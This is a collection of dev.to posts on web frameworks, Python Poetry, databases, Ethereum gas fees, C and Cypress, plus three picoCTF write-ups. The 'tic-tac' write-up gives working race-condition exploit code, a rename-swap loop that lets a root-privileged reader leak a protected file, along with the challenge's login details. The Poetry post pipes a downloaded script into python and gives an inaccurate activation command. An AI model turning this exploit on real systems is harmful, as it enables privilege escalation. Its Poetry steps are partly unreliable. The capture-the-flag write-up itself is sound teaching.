teleren/devto huggingface dataset:
Episode 23/12: Alex Rickabaugh on Signals, Playwright 1.32
Tags: angular, webdev, javascript, programming
Published: 2023-03-29 20:02:43

Alex Rickabaugh, tech lead of the Angular framework, gave a "must-watch" talk, why Angular will introduce Signals. Spoiler: It is not mainly about the performance.
Playwright, an E2E testing framework, released v1.32 with a an interactive/UI mode.

{% embed https://youtu.be/u-LT9tMs9aM %}

## Alex Rickabaugh on Signals

We had the "official Angular Meetup" where Alex Rickabaugh gave a talk on signals. As somebody who has been working on Angular for eight years and is currently the tech lead of the framework, you can expect quite a lot of deep-dive information.

He started with a little bit of history. That means jQuery, the issues it solved, and the problems it produced. Then he repeated the same thing for AngularJs until he arrived at Angular. There he discussed its current issues and how Signals would fix those.

Maybe a little surprising, he said, under the condition that you had a well-written application, he didn't expect so much in terms of performance improvements when you would switch from zone.js to signals.

According to Alex, some issues come from change detection following the component hierarchy. But, unfortunately, that is not always what we want. It shows especially in forms where the flow goes up and down and produces the famous ExpressionChange error.

Signals will fix that. Quote: 

> What signals do is decouple the direction of the data flow from the UI hierarchy.

In the upcoming Signal's RFC, we can also expect a detailed discussion on Signals vs. RxJs or Signals and RxJs.

You will be able to mix both Signals and zone.js. However, we have to expect to have dedicated components for Signals and zone.js in a future version.

Last but not least, Alex mentioned that pipes might become obsolete.

{% embed https://www.youtube.com/watch/GgC4AvQ010I %}

## Playwright 1.32

We also had a new release of Playwright, an E2E testing framework. Version 1.32 was quite surprising because Playwright now comes with its own UI. Before that, you always had to use the official extension and were bound to VSCode.

Another feature of the UI is time traveling. That means you can go through the various testing steps and see what your application looked like.

That UI feature will be a game changer. Playwright was already the runner-up compared to Cypress, and that new feature will close the gap even further.

![Download Statistics](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/se5sgf5h288yfocaj7a6.png)

For Angular, we still have to consider that Cypress also supports Component Testing. That's not the case for Playwright.

And Cypress is next to WebdriverIO and Nightwatch, an official Angular partner in E2E testing. You can see that if you run the ng e2e command.

{% embed https://youtu.be/jF0yA-JLQW0 %}
About building study habits
Tags: study, productivity, motivation
Published: 2023-03-30 09:42:52

- when you start this habit, it might not be enjoyable at first
- this is because this provides a long-term reward, and our two hundred thousand years old brain does not recognize it naturally
- so, to complement the reward to keep us studying, you should add a secondary reward to it, for example:
    - if you like going out with your friends, you could save $5 each time you finish studying a subject, so you spend when you go out, in that way, your brains associates studying with an instant reward which is increasing how much you spend when you go out
    - or  if you like playing video games, you could open your game right when you finished studying and play for the exact same amount you studied
- in that way, you tell your brain that it doesn’t need to wait for the long-term reward, but there’s a catch
- once you understand how much knowledge you can get and how much it helps you on your daily life like going better on job interviews, getting better grades at college, you won’t need a secondary reward, since you can actually feel the long-term reward you’ve been waiting
- so being a student becomes your identity, and the act of focusing and studying will become something natural for you


## Reference

- [Atomic Habits, by James Clear](https://www.amazon.com/Atomic-Habits-Proven-Build-Break/dp/0735211299)
- [Homo Sapiens Brain Evolution - MPG](https://www.mpg.de/11883269/homo-sapiens-brain-evolution)
- [Ethiopia is top choice for cradle of Homo sapiens](https://www.nature.com/articles/news050214-10)
- Background by <a href="https://unsplash.com/@jeshoots?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">JESHOOTS.COM</a> on <a href="https://unsplash.com/pt-br/fotografias/pUAM5hPaCRI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>

---


If you have any doubts or advice, feel free to leave a comment or ping me on Twitter
Simplify Python Dependency Management: Creating and Using Virtual Environments with Poetry
Tags: python, poetry, virtual, programming
Published: 2023-03-30 15:41:45

As a Python developer, managing dependencies and libraries can become a bit of a hassle. It's important to keep track of different versions of packages and ensure that they work together seamlessly. Virtual environments and package managers can help to solve these issues.

Virtual environments are isolated Python environments where you can install packages and libraries without affecting the system-wide installation. You can have multiple virtual environments with different package versions and dependencies to work on different projects simultaneously. One of the most popular package managers for Python is Poetry, which simplifies package management and streamlines dependency resolution.

In this post, we will walk you through how to create and use virtual environments in Python with Poetry.

### Step 1: Install Poetry

The first step is to install Poetry on your system. Poetry can be installed on any operating system that supports Python. To install Poetry, you can use the following command in your terminal:

```
curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python -
```

### Step 2: Create a new project

Once you have installed Poetry, create a new directory for your project and navigate into it. Then, run the following command to create a new project with Poetry:

```
poetry init
```

This command will create a `pyproject.toml` file that contains information about your project and its dependencies.

### Step 3: Create a virtual environment

To create a virtual environment with Poetry, run the following command:

```
poetry env use python
```

This command will create a new virtual environment and activate it. You can also specify a specific version of Python to use in your virtual environment by running:

```
poetry env use /path/to/python
```

### Step 4: Add dependencies

To add dependencies to your project, you can use the following command:

```
poetry add package-name
```

This command will install the package and its dependencies in your virtual environment and update your `pyproject.toml` file.

You can also specify the version of the package that you want to install:

```
poetry add package-name==1.0.0
```

### Step 5: Install dependencies

To install the dependencies of your project, you can run the following command:

```
poetry install
```

This command will install all the dependencies listed in your pyproject.toml file.

### Step 6: Use the virtual environment

To use the virtual environment, you need to activate it first:

```
source ~/.poetry/env
```

This command will activate the virtual environment and you can start working on your project. To deactivate the virtual environment, simply run:

```
deactivate
```

That's it! 

You can now create and use virtual environments in Python with Poetry. With this approach, you can keep your projects isolated and ensure that they work seamlessly without any dependency issues.
Load Vertices (Nodes) data from CSV file to Apache AGE
Tags: apacheage, graphdatabase, database, postgres
Published: 2023-04-18 19:27:28

In Apache AGE, we can load the data of nodes/ vertices from CSV file as well.
A CSV file containing nodes' data should be formatted as following:
**id:**
It should be the first column of the file and all values should be a positive integer.

**Properties:**
All other columns should contain the properties for the nodes. Header row should contain the name of properties and rows below Header row should contain data. One row as a whole should be treated as one vertex.

First step is to create a label for the vertex.

**Create Vertex Lable:**
**Syntax:**
`SELECT create_vlabel('GraphName','LabelName');`

Second step is to get data from CSV file and create vertices.

**Load Data from CSV:**
**Syntax:**
`SELECT load_labels_from_file('GraphName',
                             'LabelName',
                             'Path/to/file.csv');`


For more details visit: https://age.apache.org/overview/

**AGE Github Link:** https://github.com/apache/age

**AGE Viewer Github Link:** https://github.com/apache/age-viewer
Ethereum Transaction Gas Fee
Published: 2023-03-31 04:18:05

## Gas
_Gas is the fuel of the Ethereum blockchain network. Gas is always paid in ether, Gas is the transaction fee paid to miners for executing and adding your transaction into the Ethereum blockchain. For every transaction you have to specify the value of the gas price and the gas limit, you want to set. Based on these values, the network calculates how much of a fee you are willing to pay for the transaction._

## Gas Limit
_The gas limit is the maximum unit of gas your transaction may take, in order to be executed on the Ethereum blockchain.If your transaction takes less gas, then the extra gas that you have provided will be refunded back to your wallet. If your transaction consumes all the gas and requires more gas to be executed, your transaction will fail, and gas will be consumed as part of the transaction fees._

## Gas price
_The gas price is the price per gas unit you are willing to pay for executing your transaction. The unit of gas price is always defined in gwei. According to your gas price, miners decide to process your transaction. If the transaction has a higher gas price, there is a chance that your transaction will be processed early. If your gas price is low, then your transaction might be processed after a delay or when the blockchain is free to process low-gas-price transactions.
_

## Example
_ From | 0x2001152bd1cc1d37d7c0d25cd10315351b45b4a6
To | 0x0587db0883defe769b49b78c11bdcc2f1f38b484
gas limit| 424843
gas price| 0.0000000.1(10 gwei)
gas(used) = 21000;

TxFee (max) = gas limit * gas Price;
TxFee(paid) = gas(used)*GasPrice;
TxFee(Returned)= TxFee (max) -TxFee(paid);
TxFee (max) = 424843 * 0.00000001 =0.00424843;
TxFee = 21000*0.00000001=0.00021;
TxFee(Returned) = 0.00424843-0.00021=0.00403843 _
HTML CSS PROJECT #3
Tags: css, html, resume, webdev
Published: 2023-03-31 11:09:02

Hi everyboodddyyyy!

My third project from [FRONTEND MENTOR](https://www.frontendmentor.io/profile/MCKH03) is on the line!

I used HTML CSS in this very simple yet **ARTISTIC **Project!

I would love to hear your ideas on this project.

Here are the links:

Here is **MY SOLUTION**:
https://www.frontendmentor.io/solutions/qr-code-component-oZ1kROGR0P

My **GITHUB**:
https://github.com/MCKH03

The related **REPOSITORY**: 
https://github.com/MCKH03/FEM-QR-Code-Component

My **TWITTER**: 
https://twitter.com/ytmehrshad

My **LINKEDIN**:
https://www.linkedin.com/in/mehrshad-cheshm-khavari-992962270/

Tell me, who can do this just as me?!

**<u>Send your answers to me and also to frontend mentor so we can find each other!</u>**
C Preprocessor Directives.
Tags: codenewbie, career, c, programming
Published: 2023-03-31 15:07:55

In C language, the preprocessor directives are used to perform certain operations before the code is compiled. These directives begin with a hash symbol (#). Here are some common preprocessor directives:

1. #include - This directive is used to include the contents of another file in the current file.
Example:
#include <stdio.h>

2.#define - This directive is used to define a macro.
Example:
#define PI 3.14159

3. #ifdef, #ifndef, #else, #endif - These directives are used for conditional compilation.
Example:
#ifndef DEBUG
    printf("Debugging is off\n");

#endif

4. #pragma - This directive is used to provide additional instructions to the compiler.
Example:
#pragma pack(push, 1)

Here's an example of how preprocessor directives can be used in C code:
#include <stdio.h>

#define PI 3.14159

int main() {
    float radius = 5.0;
    float area = PI * radius * radius;

    printf("The area of the circle is: %f", area);

    #ifdef DEBUG
        printf("\nDebugging information:\n");
        printf("The radius is: %f\n", radius);
        printf("The area is: %f\n", area);
    #endif

    return 0;
}

In this example, we have used the #include directive to include the standard input-output header file. We have also defined a macro PI using the #define directive. Finally, we have used the #ifdef directive to conditionally compile some debugging statements.
UTopia: From Unit Tests To Fuzzing - Fuzzing Weekly CW13
Tags: security, testing, cybersecurity, fuzzing
Published: 2023-03-31 15:15:52


UTopia: From Unit Tests To Fuzzing:
https://research.samsung.com/blog/UTopia-From-unit-tests-to-fuzzing


Random Fuzzy Thoughts:
https://tigerbeetle.com/blog/2023-03-28-random-fuzzy-thoughts

Introducing Microsoft Security Copilot: Empowering defenders at the speed of AI:
https://blogs.microsoft.com/blog/2023/03/28/introducing-microsoft-security-copilot-empowering-defenders-at-the-speed-of-ai


https://www.fuzztesting.io/fuzzing-weekly


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8cswwez7ytedjwqdzww.png)
How to start into web Development?
Tags: webdev, beginners, html, javascript
Published: 2023-03-31 18:01:48


If you're really interested in web development, there are several steps you can take to get started:

 **Learn the basics of HTML, CSS, and JavaScript**: These are the building blocks of web development. HTML is used to structure the content of a web page, CSS is used to style the page, and JavaScript is used to add interactivity.
 
** Choose a code editor**: A code editor is where you'll write and edit your code. There are many free options available, such as Visual Studio Code, Atom, or Sublime Text.


**Set up a development environment**: You'll need a local development environment to test your code. This can be set up on your computer using tools like XAMPP, WAMP, or MAMP.

**Start building projects**: Start with small projects, such as building a simple website, and gradually work your way up to more complex projects.

**Learn from others**: There are many resources available online to learn web development, such as online courses, tutorials, and forums. Additionally, joining online communities like Stack Overflow or Reddit can provide valuable feedback and support.

**Practice and experiment**: Don't be afraid to experiment and try new things. The more you practice and build, the better you'll become.

Remember, web development is a constantly evolving field, so it's **important to keep learning** and staying up-to-date with new technologies and trends.
Tic Tac picoCTF 2023
Tags: cybersecurity, beginners, picoct, tutorial
Published: 2023-04-01 09:59:46

# tic-tac

**200 points**

AUTHOR: JUNIAS BONOU

Description
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
ssh to saturn.picoctf.net:50591, and run the binary named "txtreader" once connected. Login as ctf-player with the password, d8819d45

*Note:* This challenge launches an instance on demand.

___


```cpp
#include <stdio.h>
#include<unistd.h>
#include <string.h>

int main(int argc, char * argv[]){
  unlink(argv[1]);
  symlink("/home/ctf-player/flag.txt",argv[1]);
}
```

But this is just **NOT FAST ENOUGH APPERANTLY**

Thank god `LiveOverflow` exists because after scraping the web with the utmost of `sus` google searches that probably put me on a list I found his video, directly solving this question [https://www.youtube.com/watch?v=5g137gsB9Wk&ab_channel=LiveOverflow](https://www.youtube.com/watch?v=5g137gsB9Wk&ab_channel=LiveOverflow) (you could skip this writeup and watch his video).

My explanation:

We want to create race conditions, such that the command execution would be like so:

```
--> Be a root file
--> Get checked by the programs if:
        // Check the file's owner.
        if (statbuf.st_uid != getuid()) {
            std::cerr << "Error: you don't own this file" << std::endl;
            return 1;
        }
--> Become readable with symbolic link
--> Get opened and read by the program:
        // Read the contents of the file.
        if (file.is_open()) {
            std::string line;
            while (getline(file, line)) {
            std::cout << line << std::endl;
            }
        } else {
            std::cerr << "Error: Could not open file" << std::endl;
            return 1;
        }
```

Instead of the code I showed above, there is a faster built in way in linux that this hidden from the internet does:

```cpp
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
```

Running this script on two files, one with symbolic link to the flag and another user-made file tricks the reader program when it tried to read the symbolic-link file to print out the flag if you're lucky (just a few reruns needed).

And so:

> picoCTF{your flag}
Cypress Best Practices that are actually bad
Tags: testing, cypress, javascript
Published: 2023-04-01 10:24:17

These are some of the [best practices from the official Cypress documentation](https://docs.cypress.io/guides/references/best-practices) which are actually anti-patterns.

I'll explain why and give you better alternatives.

## 1. [Use `data-*` attributes](https://docs.cypress.io/guides/references/best-practices#Selecting-Elements)

### Why it's bad

`data-*` attributes clutter your production code and make your tests be dependent on implementation details.

### Better alternative: [Cypress Testing Library](https://testing-library.com/docs/cypress-testing-library/intro/)

It doesn't require you to add extra stuff to your markup, makes your tests more abstract, and helps you improve accessibility.

### Pro tips

#### 1. Use ESLint to forbid `cy.get()` entirely

```json
{
  "rules": {
    "no-restricted-properties": [
      "error",
      {
        "object": "cy",
        "property": "get",
        "message": "Use Testing Library query."
      }
    ]
  }
}
```

#### 2. Follow [Testing Library priority guide](https://testing-library.com/docs/queries/about/#priority) when writing queries

## 2. [Use route aliases](https://docs.cypress.io/guides/references/best-practices#Unnecessary-Waiting)

### Why it's bad

It still makes your tests flaky, and it makes them be dependent on implementation details.

### Better alternative: UI assertions

Wait for something to appear in the UI, not for network requests to finish.

**Bad:**

```js
cy.intercept("**/posts").as("publish");
cy.findByRole("button", { name: "Publish" }).click();
cy.wait("@publish");
```

**Good:**

```js
cy.findByRole("button", { name: "Publish" }).click();
cy.findByRole("heading", { name: "My new post" }).to("be.visible");
```

### Pro tip

#### Use ESLint to forbid `cy.wait()` entirely

```json
{
  "rules": {
    "no-restricted-properties": [
      "error",
      {
        "object": "cy",
        "property": "wait",
        "message": "Use UI assertion."
      }
    ]
  }
}
```

---

If you liked this article, you should check out
[**More Cypress Best Practices**](https://dev.to/evgenyorekhov/more-cypress-best-practices-266g)
ReadMyCert PicoCTF 2023
Tags: cybersecurity, beginners, picoctf, tutorial
Published: 2023-04-01 10:45:24

# ReadMyCert

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about we take you on an adventure on exploring certificate signing requests
Take a look at this CSR file (open the link provide in the challenge)

___

 This was a certificate *REQUEST* and not a normal certificate.

Plugging into any online reader gives the flag:

> picoCTF{your flag}
Reverse
Tags: beginners, cybersecurity, help, picoctf
Published: 2023-04-01 13:58:13

# Reverse

**100 points**

AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this [file]. Please find it for me?

___

Run strings on the file to get the flag or open it and `CTRL + F` and find `pico`.

> picoCTF{your flag}
Automate Grafana Deployment on OpenShift with Harness CD
Published: 2023-04-09 11:44:46

🎯 Ready to automate #Grafana on #OpenShift? My latest blog post reveals how #Harness can make it happen! Boost your productivity today 🚀 [http://bit.ly/41eSF2M](http://bit.ly/41eSF2M) #harness  #continuousdelivery  #devops  #cloudnative #grafana #openshift #ocp #crc #socialmedia
Independência tecnológica: Por que o Brasil precisa urgentemente de seu próprio sistema operacional baseado em Linux?
Tags: braziliandevs
Published: 2023-04-09 13:40:15

Recentemente, conheci a distribuição Linux HarmoniKR OS, desenvolvida na Coreia do Sul e baseada no Linux Mint. Essa descoberta me levou a questionar a possibilidade de o Brasil ter seu próprio sistema operacional reconhecido e incentivado pelo governo.

Desenvolver um sistema operacional próprio seria uma iniciativa importante para o país, tornando-o mais independente de tecnologias e avanços externos. Além disso, permitiria reduzir os custos de licenciamento, uma vez que estaríamos falando de sistemas open source, que em sua maioria são gratuitos.

Países interessados em manter a autonomia tecnológica e evitar a dependência de softwares comerciais desenvolvidos fora de suas fronteiras utilizam sistemas abertos ou versões compatíveis desenvolvidas autonomamente. A China desenvolveu o Kylin OS, e a Rússia criou o Astra Linux, ambos baseados no Linux e reconhecidos pelos governos locais.

Adotar uma versão própria de sistema operacional a partir de uma distribuição Linux permitiria ao Brasil superar a desconfiança existente em relação à existência de backdoors criados por serviços de inteligência estrangeiros nos softwares produzidos em seus países de origem. Além disso, essa iniciativa estaria alinhada com a Estratégia Nacional de Defesa, permitindo a aquisição de tecnologia de uso dual pela indústria nacional.

Em resumo, a iniciativa de criar um sistema operacional brasileiro baseado em Linux pode ser extremamente importante para o país. Isso garantiria a autonomia tecnológica, reduziria os custos de licenciamento e estaria alinhada com a Estratégia Nacional de Defesa. O Brasil tem um grande potencial para se tornar um líder tecnológico na região, e o desenvolvimento de um sistema operacional próprio seria um passo significativo nessa direção.

**Bônus:** Quem sabe o nome poderia ser Amazônia OS ou quem sabe um Tupi OS haha!